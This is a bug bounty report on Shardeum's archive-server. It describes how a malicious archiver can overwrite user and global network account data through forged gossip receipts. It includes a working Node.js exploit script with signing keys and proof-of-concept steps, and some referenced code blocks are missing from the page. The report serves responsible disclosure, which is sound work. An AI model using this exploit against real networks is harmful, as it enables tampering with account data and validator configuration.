search
Active Boosts

Boost _ Shardeum_ Ancillaries 34508 - [Websites and Applications - Critical] Malicious archiver can

Submitted on Wed Aug 14 2024 05:58:21 GMT-0400 (Atlantic Standard Time) by @periniondon630 for Boost | Shardeum: Ancillariesarrow-up-right

Report ID: #34508

Report type: Websites and Applications

Report severity: Critical

Target: https://github.com/shardeum/archive-server/tree/dev

Impacts:

  • Taking state-modifying authenticated actions (with or without blockchain state interaction) on behalf of other users without any interaction by that user, such as: Changing registration information, Commenting, Voting, Making trades, Withdrawals, etc.

hashtag
Description

hashtag
Brief/Intro

A malicious archiver can connect to the network, become a valid active archiver, and overwrite any user account data across all active archivers, including global accounts.

hashtag
Vulnerability Details

It is possible to create a malicious archiver based on the archiver-server repository and connect it to the network. There are no restrictions on who can create and connect an archiver to the network. When a malicious archiver is connected, it can initiate a gossip request with a fake receipt ID to the victim archiver. Exploit code:

import axios from 'axios';
import * as core from '@shardus/crypto-utils'
import { Utils as StringUtils } from '@shardus/types'

const TARGET_URL='http://127.0.0.1:4000'
const PRIVATE_KEY='3ea2ee94d1de9ef0e59a08af12aad53375cab0857f73fe243184c6f85edefb39e8a5c26b9e2c3c31eb7c7d73eaed9484374c16d983ce95f3ab18a62521964a94'
const PUBLIC_KEY='e8a5c26b9e2c3c31eb7c7d73eaed9484374c16d983ce95f3ab18a62521964a94'

export function sign(obj) {
  const objCopy = StringUtils.safeJsonParse(core.stringify(obj))
  core.signObj(objCopy, PRIVATE_KEY, PUBLIC_KEY)
  return objCopy
}

async function main(){
        console.log('exploiting archiver-server')
        const txid = process.argv[2]
        core.init('69fa4195670576c0160d660c3be36556ff8d504725be8a59b5a96509e0c994bc')
        let payload = {
                'dataType': 'RECEIPT',
                'data': [{'txId': txid, 'timestamp': 1}],
        }
        payload = sign(payload)
        const r = await axios.post(TARGET_URL + '/gossip-data', payload)
        console.log('success', r.data)
}

main()

The victim archiver will send a request back to the malicious archiver for details about the receipt. Here is the code that sends the request back to the malicious archiver

If the receipt is valid, the victim archiver will store the receipt in a database by calling the storeReceiptData function. A malicious archiver can craft a receipt payload in a way that will overwrite existing account data. Patch file for the malicious archiver:

hashtag
Impact Details

  • Any user or global account data can be overwritten on all active archivers.

  • The network global account is used by validators to load initial configuration, which can be controlled by an attacker.

  • The global modification flag in account data allows the attacker to skip most validations and overwrite global network account data.

hashtag
Proof of concept

hashtag
Proof of Concept

  1. Start the local Shardeum network.

  2. Compile the malicious archiver (you need to include the local archiver-server in the shardeum-core package.json).

  3. Start the malicious archiver and provide ARCHIVER_INFO=ip:port:public_key, so the malicious archiver can connect to the main archiver.

  4. Update the URL to the main archiver, the public key, and the private key inside exploit.js, then run npm i. package.json:

  1. Run the exploit. It will send a gossip request to the main archiver. Please provide a unique ID as a command line parameter each time you run the exploit. For example:

  1. The main archiver will send a request to the malicious archiver.

  2. The malicious archiver will respond with crafted account data that will replace the global network account, which will be used as a configuration source for all new validators started in the network.

  3. On the victim archiver, go to the archiver database in server/instances/archiver-db-4000:

  1. Check that the global network account was changed:

PreviousBoost _ Shardeum_ Ancillaries 34492 - [Websites and Applications - Insight] DoS via unbounded tx idNextShardeum Core

Last updated

Was this helpful?